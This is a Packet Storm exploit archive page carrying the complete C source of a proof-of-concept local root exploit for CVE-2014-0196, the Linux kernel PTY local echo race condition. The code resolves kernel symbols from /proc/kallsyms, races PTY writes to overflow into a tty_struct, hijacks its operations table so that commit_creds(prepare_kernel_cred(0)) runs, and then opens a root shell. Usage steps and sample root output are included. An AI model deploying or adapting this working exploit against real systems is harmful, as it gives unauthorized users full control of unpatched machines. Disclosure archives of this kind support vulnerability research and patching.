exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 3.15-rc4 PTY Race Condition

Linux Kernel 3.15-rc4 PTY Race Condition
Posted May 14, 2014
Authored by Matthew Daley

Linux Kernel versions above 3.14-rc1 and below 3.15-rc4 raw mode PTY local echo race condition privilege escalation proof of concept exploit. This bug also affects kernel 2.6.31-rc3 and newer.

tags | exploit, kernel, local, proof of concept
systems | linux
advisories | CVE-2014-0196
SHA-256 | 3e2aeb3682476066fd47d615fa123347b94017a25a410fef128e012fea785cdf

Linux Kernel 3.15-rc4 PTY Race Condition

Change Mirror Download
/*
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
* condition
*
* Slightly-less-than-POC privilege escalation exploit
* For kernels >= v3.14-rc1
*
* Matthew Daley <mattd@bugfuzz.com>
*
* Usage:
* $ gcc cve-2014-0196-md.c -lutil -lpthread
* $ ./a.out
* [+] Resolving symbols
* [+] Resolved commit_creds: 0xffffffff81056694
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
* [+] Doing once-off allocations
* [+] Attempting to overflow into a tty_struct...............
* [+] Got it :)
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
* chance that the overflow will go off the end of a slab. This does not
* necessarily lead to an immediate kernel crash, but you should be prepared
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
* avoidable by reading /proc/slabinfo on systems where it is still available
* to unprivileged users.
*
* Caveat: The vulnerability should be exploitable all the way from
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
* exploit relies on.
*
* Thanks to Jon Oberheide for his help on exploitation technique.
*/

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
int counter;
} atomic_t;

struct kref {
atomic_t refcount;
};

struct tty_struct_header {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
commit_creds(prepare_kernel_cred(0));

return 0;
}

unsigned long get_symbol(char *target_name) {
FILE *f;
unsigned long addr;
char dummy;
char name[256];
int ret = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL)
return 0;

while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
if (ret == 0) {
fscanf(f, "%s\n", name);
continue;
}

if (!strcmp(name, target_name)) {
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

fclose(f);
return addr;
}
}

printf("[-] Couldn't resolve \"%s\"\n", name);

fclose(f);
return 0;
}

void *overwrite_thread_fn(void *p) {
write(slave_fd, buf, 511);

write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
char scratch[1024] = {0};
void *tty_operations[64];
int i, temp_fd_1, temp_fd_2;

for (i = 0; i < 64; ++i)
tty_operations[i] = payload;

overwrite.magic = TTY_MAGIC;
overwrite.kref.refcount.counter = 0x1337;
overwrite.dev = (struct device *)scratch;
overwrite.driver = (struct tty_driver *)scratch;
overwrite.ops = (struct tty_operations *)tty_operations;

puts("[+] Resolving symbols");

commit_creds = (commit_creds_fn)get_symbol("commit_creds");
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
if (!commit_creds || !prepare_kernel_cred)
return 1;

puts("[+] Doing once-off allocations");

for (i = 0; i < ONEOFF_ALLOCS; ++i)
if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
puts("[-] pty creation failed");
return 1;
}

printf("[+] Attempting to overflow into a tty_struct...");
fflush(stdout);

for (i = 0; ; ++i) {
struct termios t;
int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
pthread_t overwrite_thread;

if (!(i & 0xfff)) {
putchar('.');
fflush(stdout);
}

if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
puts("\n[-] pty creation failed");
return 1;
}

for (j = 0; j < RUN_ALLOCS; ++j)
if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
puts("\n[-] pty creation failed");
return 1;
}

close(fds[RUN_ALLOCS / 2]);
close(fds2[RUN_ALLOCS / 2]);

write(slave_fd, buf, 1);

tcgetattr(master_fd, &t);
t.c_oflag &= ~OPOST;
t.c_lflag |= ECHO;
tcsetattr(master_fd, TCSANOW, &t);

if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
puts("\n[-] Overwrite thread creation failed");
return 1;
}
write(master_fd, "A", 1);
pthread_join(overwrite_thread, NULL);

for (j = 0; j < RUN_ALLOCS; ++j) {
if (j == RUN_ALLOCS / 2)
continue;

ioctl(fds[j], 0xdeadbeef);
ioctl(fds2[j], 0xdeadbeef);

close(fds[j]);
close(fds2[j]);
}

ioctl(master_fd, 0xdeadbeef);
ioctl(slave_fd, 0xdeadbeef);

close(master_fd);
close(slave_fd);

if (!setresuid(0, 0, 0)) {
setresgid(0, 0, 0);

puts("\n[+] Got it :)");
execl("/bin/bash", "/bin/bash", NULL);
}
}
}


Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close